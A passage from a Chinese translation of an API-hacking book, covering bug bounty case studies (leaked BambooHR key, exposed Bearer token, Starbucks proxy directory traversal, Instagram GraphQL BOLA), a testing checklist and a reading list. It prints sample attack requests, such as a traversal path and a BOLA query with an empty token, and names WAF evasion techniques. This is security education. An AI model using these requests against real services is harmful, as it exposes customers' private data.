当你查看这个端点时,我希望你已经开始联想到一些 API 漏洞。如果你能使用 msisdn 参数来查询自己的信息,你能否用它查询其他电话号码?实际上,你是可以的!这就是 BOLA 漏洞。更糟糕的是,电话号码非常可预测,并且通常是公开的。在利用视频中,moim 从 Pastebin 上的一个信息泄露攻击中随机获取了一个 T-Mobile 电话号码,并成功地获取了该客户的信息。
这个攻击只是一个概念验证,但仍有改进的空间。如果你在进行 API 测试时发现类似的问题,我建议你与提供商合作,获取带有不同电话号码的额外测试账户,以避免在测试过程中暴露真实的客户数据。利用这些发现,然后描述一次真实攻击可能对客户环境造成的影响,特别是如果攻击者暴力破解电话号码并泄露大量客户数据。
毕竟,如果这个 API 是导致数据泄露的罪魁祸首,攻击者本可以轻松地暴力破解电话号码,从而收集到那 230 万个泄露的电话号码。
悬赏
漏洞悬赏计划不仅奖励黑客发现并报告那些犯罪分子本可能利用的弱点,而且他们的报告也是学习 API 黑客技术的绝佳资源。如果你留心观察这些报告,可能会学到一些可以在自己测试中使用的新技巧。你可以在像 HackerOne 和 Bug Crowd 这样的漏洞悬赏平台上找到这些报告,或者在独立的来源中找到,例如 Pentester Land、ProgrammableWeb 和 APIsecurity.io。
我在这里展示的报告仅代表其中一小部分悬赏内容。我选择了这三个例子,旨在展示漏洞猎人在捕获漏洞过程中遇到的多样问题和他们使用的攻击方式。正如你所看到的,在某些情况下,这些黑客通过结合利用技巧、追踪多个线索以及实施新颖的 Web 应用攻击,深入挖掘了一个 API。你可以从漏洞猎人那里学到很多。
优质 API 密钥的代价
-
漏洞猎人: Ace Candelario
-
悬赏: $2,000
Candelario 开始他的漏洞狩猎工作时,首先调查了目标网站上的一个 JavaScript 源文件,搜索其中可能暗示泄露密钥的词汇,比如 api、secret 和 key。果然,他发现了一个用于 BambooHR 人力资源软件的 API 密钥。正如你所看到的,这个密钥是 base64 编码的:
function loadBambooHRUsers() {
var uri = 'https://api.bamboohr.co.uk/api/gateway.php/example/v1/employees/directory');
return $http.get(uri, { headers: {'Authorization': 'Basic **VXNlcm5hbWU6UGFzc3dvcmQ=**'};
}
因为代码片段中也包含了 HR 软件的端点,所以任何发现该代码的攻击者都可能尝试将这个 API 密钥当作自己的参数,发送 API 请求到该端点。或者,他们也可以解码 base64 编码的密钥。在这个例子中,你可以做以下操作来查看编码的凭证:
hAPIhacker@Kali:~$ **echo 'VXNlcm5hbWU6UGFzc3dvcmQ=' | base64 -d**
`Username`:`Password`
到这时,你可能已经有了一个强有力的漏洞报告。尽管如此,你仍然可以进一步行动。例如,你可以尝试使用这些凭证访问 HR 网站,以证明你能够访问目标的敏感员工数据。Candelario 就这样做,并使用员工数据的截图作为他的概念验证。
这样的暴露 API 密钥是身份验证漏洞的一个例子,你通常会在 API 发现过程中找到它们。发现这些密钥的漏洞悬赏将取决于它们能用于的攻击严重性。
经验教训
-
花时间研究你的目标并发现 API。
-
时刻留意凭证、密钥和秘密信息,并测试你能利用这些发现做些什么。
私有 API 授权问题
-
漏洞奖励猎人: Omkar Bhagwat
-
奖励: $440
通过执行目录枚举,Bhagwat 发现了一个 API 及其文档,位于 academy.target.com/api/docs。作为一个未认证用户,Omkar 能够找到与用户和管理员管理相关的 API 端点。此外,当他发送 GET 请求到 /ping 端点时,Bhagwat 注意到该 API 在没有使用任何授权令牌的情况下响应了他(见 图 15-1)。这引起了 Bhagwat 对该 API 的兴趣,他决定彻底测试它的功能。

图 15-1:Omkar Bhagwat 为漏洞奖励报告提供的示例,展示了 API 在回应他的 /ping 请求时的 “pong” 响应
在测试其他端点时,Bhagwat 最终收到了一条包含“授权参数丢失”的 API 响应。他搜索了该网站,发现许多请求都使用了暴露的授权 Bearer 令牌。
通过将该 Bearer 令牌添加到请求头中,Bhagwat 能够编辑用户账户(见 图 15-2)。他然后可以执行管理员操作,如删除、编辑和创建新账户。

图 15-2:Omkar 成功的 API 请求,修改用户账户密码
几个 API 漏洞导致了这一攻击。API 文档泄露了关于 API 操作和如何操作用户账户的敏感信息。公开这些文档没有任何商业目的;如果没有这些文档,攻击者可能会直接跳过此目标,继续寻找下一个目标。
通过彻底调查目标,Bhagwat 发现了一个暴露的授权 Bearer 令牌形式的身份验证漏洞。利用该 Bearer 令牌和文档,他接着发现了一个 BFLA。
经验教训
-
当某个事物引起你的兴趣时,启动对 Web 应用程序的彻底调查。
-
API 文档是信息的宝藏,利用它对你有利。
-
将你的发现结合起来,发现新的漏洞。
Starbucks:从未发生的漏洞事件
-
漏洞赏金猎人: Sam Curry
-
赏金: $4,000
Curry 是一个安全研究员和漏洞猎人。在参与 Starbucks 的漏洞赏金计划时,他发现并披露了一个漏洞,阻止了近 1 亿个 Starbucks 客户的个人身份信息(PII)记录泄露。根据 Net Diligence 的泄露计算器,这么大规模的 PII 数据泄露可能会让 Starbucks 支付 1 亿美元的监管罚款,2.25 亿美元的危机管理费用,以及 2500 万美元的事件调查费用。即使按照每条记录 3.50 美元的保守估算,这样的泄露也可能导致大约 3.5 亿美元的费用。Sam 的发现,至少可以说,是史诗般的。
在他的博客samcurry.net上,Curry 详细介绍了他入侵 Starbucks API 的过程。最吸引他注意的是,Starbucks 的礼品卡购买过程包含了带有敏感信息的 API 请求,发送到*/bff/proxy*端点:
POST /bff/proxy/orchestra/get-user HTTP/1.1
HOST: app.starbucks.com
{
"data":
"user": {
"exId": "77EFFC83-7EE9-4ECA-9849-A6A23BF1830F",
"firstName": "Sam",
"lastName": "Curry",
"email": "samwcurry@gmail.com",
"partnerNumber": null,
"birthDay": null,
"birthMonth": null,
"loyaltyProgram": null
}
}
正如 Curry 在博客中解释的那样,bff代表“前端的后端”,意味着应用程序将请求传递给另一个主机以提供功能。换句话说,Starbucks 使用了一个代理来在外部 API 和内部 API 端点之间传输数据。
Curry 尝试探测这个*/bff/proxy/orchestra*端点,但发现它无法将用户输入转发到内部 API。然而,他发现了一个*/bff/proxy/user:id*端点,该端点允许用户输入通过代理传输:
GET /bff/proxy/stream/v1/users/me/streamItems/..\ HTTP/1.1
Host: app.starbucks.com
{
"errors": [
{
"message": "Not Found",
"errorCode": 404
}]}
通过在路径末尾使用..\,Curry 试图遍历当前工作目录,并查看他可以访问服务器上的其他内容。他继续测试各种目录遍历漏洞,直到发送了以下内容:
GET /bff/proxy/stream/v1/me/stramItems/web\..\.\..\.\..\.\..\.\..\..\..\.\..\
这个请求导致了一个不同的错误信息:
"message": "Bad Request",
"errorCode": 400
这个错误请求的突然变化意味着 Curry 发现了某些东西。他使用 Burp Suite Intruder 暴力破解不同的目录,直到他找到了一个使用/search/v1/accounts的 Microsoft Graph 实例。Curry 查询了 Graph API,并捕获了一个概念验证,证明他可以访问一个包含 ID、用户名、全名、电子邮件、城市、地址和电话号码的内部客户数据库。
因为他了解 Microsoft Graph API 的语法,Curry 发现他可以通过添加查询参数$count=true来获取条目数,总数为 99,356,059,接近 100 百万。
Curry 通过密切关注 API 的响应并在 Burp Suite 中过滤结果,找到了一个独特的 400 状态码,这在所有标准的 404 错误中是独一无二的。如果 API 提供者没有披露这个信息,响应可能会与其他所有的 404 错误混合,攻击者很可能会转向另一个目标。
通过结合信息泄露和安全配置错误,他能够暴力破解内部目录结构并找到 Microsoft Graph API。额外的 BFLA 漏洞使 Curry 能够使用管理功能执行用户账户查询。
经验教训
-
密切关注 API 响应之间的细微差异。使用 Burp Suite Comparer 或仔细对比请求和响应,以识别 API 中的潜在弱点。
-
调查应用程序或 WAF 如何处理模糊测试和目录遍历技术。
-
利用回避技术绕过安全控制。
一个 Instagram GraphQL BOLA
-
漏洞赏金猎人: Mayur Fartade
-
赏金: $30,000
在 2021 年,Fartade 在 Instagram 上发现了一个严重的 BOLA 漏洞,使他能够向位于 /api/v1/ads/graphql/ 的 GraphQL API 发送 POST 请求,查看其他用户的私密帖子、故事和短视频。
问题源于缺乏针对涉及用户媒体 ID 请求的授权安全控制。要发现媒体 ID,可以使用暴力破解或通过其他方式获取 ID,如社交工程或 XSS。例如,Fartade 使用了如下的 POST 请求:
POST /api/v1/ads/graphql HTTP/1.1
Host: i.instagram.com
Parameters:
doc_id=[REDACTED]&query_params={"query_params":{"access_token":"","id":"**[****MEDIA_ID]**"}}
通过针对 MEDIA_ID 参数并为 access_token 提供空值,Fartade 能够查看其他用户私密帖子的详细信息:
"data":{
"instagram_post_by_igid":{
"id":
"creation_time":1618732307,
"has_product_tags":false,
"has_product_mentions":false,
"instagram_media_id":
006",
"instagram_media_owner_id":"!
"instagram_actor": {
"instagram_actor_id":"!
"id":"1
},
"inline_insights_node":{
"state": null,
"metrics":null,
"error":null
},
"display_url":"https:\/\/scontent.cdninstagram.com\/VV/t51.29350-15\/
"instagram_media_type":"IMAGE",
"image":{
"height":640,
"width":360
},
"comment_count":
"like_count":
"save_count":
"ad_media": null,
"organic_instagram_media_id":"
`--snip--`
]
}
}
这个 BOLA 漏洞使 Fartade 仅通过指定给定 Instagram 帖子的媒体 ID 就能发起信息请求。利用这一弱点,他能够访问如喜欢、评论以及与 Facebook 关联的任何用户私密或归档帖子等详细信息。
经验教训
-
努力寻找 GraphQL 端点,并应用本书中涵盖的技术;回报可能非常丰厚。
-
当第一次攻击失败时,结合回避技术,例如通过使用空字节与攻击一起使用,再次尝试。
-
尝试使用令牌绕过授权要求。
总结
本章使用了 API 漏洞和漏洞赏金报告,展示了你如何在真实环境中利用常见的 API 漏洞。研究对手和漏洞赏金猎人的战术将有助于你拓展自己的黑客技能,从而更好地保护互联网安全。这些故事也揭示了网络中存在着大量的低悬果实。通过结合简单的技术,你可以创造出一个 API 黑客杰作。
熟悉常见的 API 漏洞,深入分析各个端点,利用你发现的漏洞进行攻击,报告你的发现,并沉浸在防止下一次重大 API 数据泄露的荣耀中。
第十七章:结论

我写这本书是为了让道德黑客在对抗网络犯罪分子时占据优势,至少在下一个技术突破之前。我们可能永远不会看到这项工作的结束。API 的受欢迎程度将继续增长,并且它们将以新的方式互动,扩大每个行业的攻击面。对手们也不会停下来。如果你不测试一个组织的 API,某个网络犯罪分子将代替你去做。(主要的区别在于,他们不会提供报告来改善任何人的 API 安全。)
为了帮助你成为一名资深的 API 黑客,我鼓励你报名参加 BugCrowd、HackerOne 和 Intigriti 等漏洞赏金项目。通过关注 OWASP API 安全项目、APIsecurity.io、APIsec、PortSwigger 博客、Akamai、Salt Security 博客、Moss Adams Insights 以及我自己的博客www.hackingapis.com,保持对最新 API 安全新闻的关注。同时,通过参与 CTF、PortSwigger Web 安全学院、TryHackMe、HackTheBox、VulnHub 和类似的网络道场,保持你的技能敏锐。
感谢你一路陪伴我走到这里。愿你的 API 黑客经验充满丰厚的赏金、CVE、关键漏洞发现、出色的利用和详细的报告。
hAPI 黑客!
第十八章:API 黑客检查清单
测试方法(见第零章)
- 确定方法:黑盒、灰盒或白盒?
被动侦察(见第六章)
-
进行攻击面发现
-
检查是否有暴露的秘密
主动侦察(见第六章)
- 扫描开放端口和服务
** 按预期使用应用程序* 使用 DevTools 检查 Web 应用程序** 搜索与 API 相关的目录** 发现 API 端点***
***端点分析(见第七章)
-
查找并查看 API 文档
-
反向工程 API
-
按预期使用 API
-
分析响应中的信息泄露、过度数据暴露和业务逻辑缺陷
身份验证测试(见第八章)
-
进行基础身份验证测试
-
攻击并操控 API 令牌
进行模糊测试(见第九章)
- 对所有内容进行模糊测试
授权测试(见第十章)
-
发现资源识别方法
-
测试 BOLA
-
测试 BFLA
大规模赋值测试(见第十一章)
-
发现请求中使用的标准参数
-
测试大规模赋值
注入测试(见第十二章)
-
发现接受用户输入的请求
-
测试 XSS/XAS
-
执行特定于数据库的攻击
-
执行操作系统注入
速率限制测试(见第十三章)
-
测试速率限制是否存在
-
测试绕过速率限制的方法
-
测试绕过速率限制的方法
规避技术(见第十三章)
-
向攻击中添加字符串终止符
-
将案例切换添加到攻击中
-
编码有效负载
-
组合不同的规避技术
-
反复执行或应用规避技术对所有先前的攻击***
第十九章:其他资源
第零章:准备你的安全测试
Khawaja, Gus. Kali Linux 渗透测试宝典。美国印第安纳州印第安纳波利斯:Wiley,2021 年。
Li, Vickie. Bug Bounty 训练营:发现与报告 Web 漏洞指南。美国旧金山:No Starch Press,2021 年。
Weidman, Georgia. 渗透测试:黑客实践入门。美国旧金山:No Starch Press,2014 年。
第一章:Web 应用如何工作
Hoffman, Andrew. Web 应用安全:现代 Web 应用的利用与对策。美国加利福尼亚州 Sebastopol:O'Reilly,2020 年。
“HTTP 响应状态码。” MDN Web Docs。developer.mozilla.org/en-US/docs/Web/HTTP/Status。
Stuttard, Dafydd 和 Marcus Pinto. Web 应用黑客手册:发现与利用安全漏洞。美国印第安纳州印第安纳波利斯:Wiley,2011 年。
第二章:Web API 的结构
“API 大学:API 提供商和开发者的最佳实践、技巧和教程。” ProgrammableWeb。www.programmableweb.com/api-university。
Barahona, Dan. “REST API 初学者指南:你需要知道的一切。” APIsec,2020 年 6 月 22 日。www.apisec.ai/blog/rest-api-and-its-significance-to-web-service-providers。
Madden, Neil. API 安全实战。美国纽约 Shelter Island:Manning,2020 年。
Richardson, Leonard 和 Mike Amundsen. RESTful Web APIs。北京:O'Reilly,2013 年。
Siriwardena, Prabath. 高级 API 安全:使用 OAuth 2.0、OpenID Connect、JWS 和 JWE 保护 API。美国加利福尼亚州伯克利:Apress,2014 年。
第三章:常见的 API 漏洞
Barahona, Dan. “为什么 API 是你最大的安全风险。” APIsec,2021 年 8 月 3 日。www.apisec.ai/blog/why-apis-are-your-biggest-security-risk。
“OWASP API 安全项目。” OWASP。owasp.org/www-project-api-security。
“OWASP API 安全 Top 10。” APIsecurity.io。apisecurity.io/encyclopedia/content/owasp/owasp-api-security-top-10。
Shkedy, Inon. “API 安全领域介绍。” Traceable,2021 年 4 月 14 日。lp.traceable.ai/webinars.html?commid=477082。
第四章:你的 API 黑客系统
“介绍。” Postman 学习中心。learning.postman.com/docs/getting-started/introduction。
O'Gorman, Jim,Mati Aharoni 和 Raphael Hertzog. Kali Linux 揭密:渗透测试分发版精通指南。美国北卡罗来纳州 Cornelius:Offsec Press,2017 年。
“Web 安全学院。” PortSwigger。portswigger.net/web-security。
第五章:设置漏洞 API 目标
Chandel, Raj. “在 AWS 上设置 Web 应用渗透测试实验室。” Hacking Articles, 2019 年 12 月 3 日。 www.hackingarticles.in/web-application-pentest-lab-setup-on-aws.
KaalBhairav. “教程:在家设置虚拟渗透测试实验室。” Cybrary, 2015 年 9 月 21 日。 www.cybrary.it/blog/0p3n/tutorial-for-setting-up-a-virtual-penetration-testing-lab-at-your-home.
OccupyTheWeb. “如何创建虚拟黑客实验室。” Null Byte, 2016 年 11 月 2 日。 null-byte.wonderhowto.com/how-to/hack-like-pro-create-virtual-hacking-lab-0157333.
Stearns, Bill, 和 John Strand. “网络讲座:如何搭建家庭实验室。” Black Hills Information Security, 2020 年 4 月 27 日。 www.blackhillsinfosec.com/webcast-how-to-build-a-home-lab.
第六章:发现
“API 目录。” ProgrammableWeb. www.programmableweb.com/apis/directory.
Doerrfeld, Bill. “API 发现:15 种查找 API 的方法。” Nordic APIs, 2015 年 8 月 4 日。 nordicapis.com/api-discovery-15-ways-to-find-apis.
Faircloth, Jeremy. 渗透测试者的开源工具包。 第 4 版。阿姆斯特丹:Elsevier, 2017.
“欢迎来到 RapidAPI Hub。” RapidAPI. rapidapi.com/hub.
第七章:端点分析
Bush, Thomas. “5 个优秀 API 文档示例(及其原因)。” Nordic APIs, 2019 年 5 月 16 日。 nordicapis.com/5-examples-of-excellent-api-documentation.
Isbitski, Michael. “AP13: 2019 年过度数据暴露。” Salt Security, 2021 年 2 月 9 日。 salt.security/blog/api3-2019-excessive-data-exposure.
Scott, Tamara. “如何使用 API:基础知识。” Technology Advice, 2021 年 8 月 20 日。 technologyadvice.com/blog/information-technology/how-to-use-an-api.
第八章:攻击认证
Bathla, Shivam. “黑客攻击 JWT 令牌:JWT 中的 SQL 注入。” Pentester Academy, 2020 年 5 月 11 日。 blog.pentesteracademy.com/hacking-jwt-tokens-sqli-in-jwt-7fec22adbf7d.
Lensmar, Ole. “API 安全测试:如何黑客攻击一个 API 并成功逃脱。” Smartbear, 2014 年 11 月 11 日。 smartbear.com/blog/api-security-testing-how-to-hack-an-api-part-1.
第九章:模糊测试
“模糊测试。” OWASP。 owasp.org/www-community/Fuzzing。
第十章:利用授权漏洞
Shkedy, Inon. “对最关键的 API 漏洞——BOLA(Broken Object Level Authorization)的深入分析。” inonst.medium.com。
第十一章:批量赋值
“批量赋值备忘单。” OWASP 备忘单系列。 cheatsheetseries.owasp.org/cheatsheets/Mass_Assignment_Cheat_Sheet.html。
第十二章:注入攻击
Belmer, Charlie. “NoSQL 注入备忘单。” Null Sweep,2021 年 6 月 7 日。 nullsweep.com/nosql-injection-cheatsheet。
“SQL 注入。” PortSwigger 网络安全学院。 portswigger.net/web-security/sql-injection。
Zhang, YuQing, QiXu Liu, QiHan Luo, 和 XiaLi Wang. “XAS:社交生态系统中的跨 API 脚本攻击。” Science China Information Sciences 58 (2015): 1–14。 doi.org/10.1007/s11432-014-5145-1。
第十三章:应用规避技术和速率限制测试
“如何绕过 WAF HackenProof 备忘单。” Hacken,2020 年 12 月 2 日。 hacken.io/researches-and-investigations/how-to-bypass-waf-hackenproof-cheat-sheet。
Simpson, J. “关于 API 速率限制的所有知识。” Nordic APIs,2019 年 4 月 18 日。 nordicapis.com/everything-you-need-to-know-about-api-rate-limiting。
第十四章:攻击 GraphQL
“如何利用 GraphQL 端点: introspection、查询、变更和工具。” YesWeRHackers,2021 年 3 月 24 日。 blog.yeswehack.com/yeswerhackers/how-exploit-graphql-endpoint-bug-bounty。
Shah, Shubham. “利用 GraphQL。” Asset Note,2021 年 8 月 29 日。 blog.assetnote.io/2021/08/29/exploiting-graphql。
Swiadek, Tomasz 和 Andrea Brancaleoni. “你总是忽视的那个 GraphQL 问题。” Doyensec,2021 年 5 月 20 日。 blog.doyensec.com/2021/05/20/graphql-csrf.html。
第十五章:数据泄露和漏洞赏金
“API 安全文章:最新的 API 安全新闻、漏洞及最佳实践。” APIsecurity.io。 apisecurity.io。
“漏洞赏金报告列表。” Pentester Land:进攻性信息安全。 pentester.land/list-of-bug-bounty-writeups.html。
第一部分
Web API 安全性如何运作
第二部分
构建一个 API 测试实验室
第三部分
攻击 API
第四部分
现实世界的 API 破解







浙公网安备 33010602011771号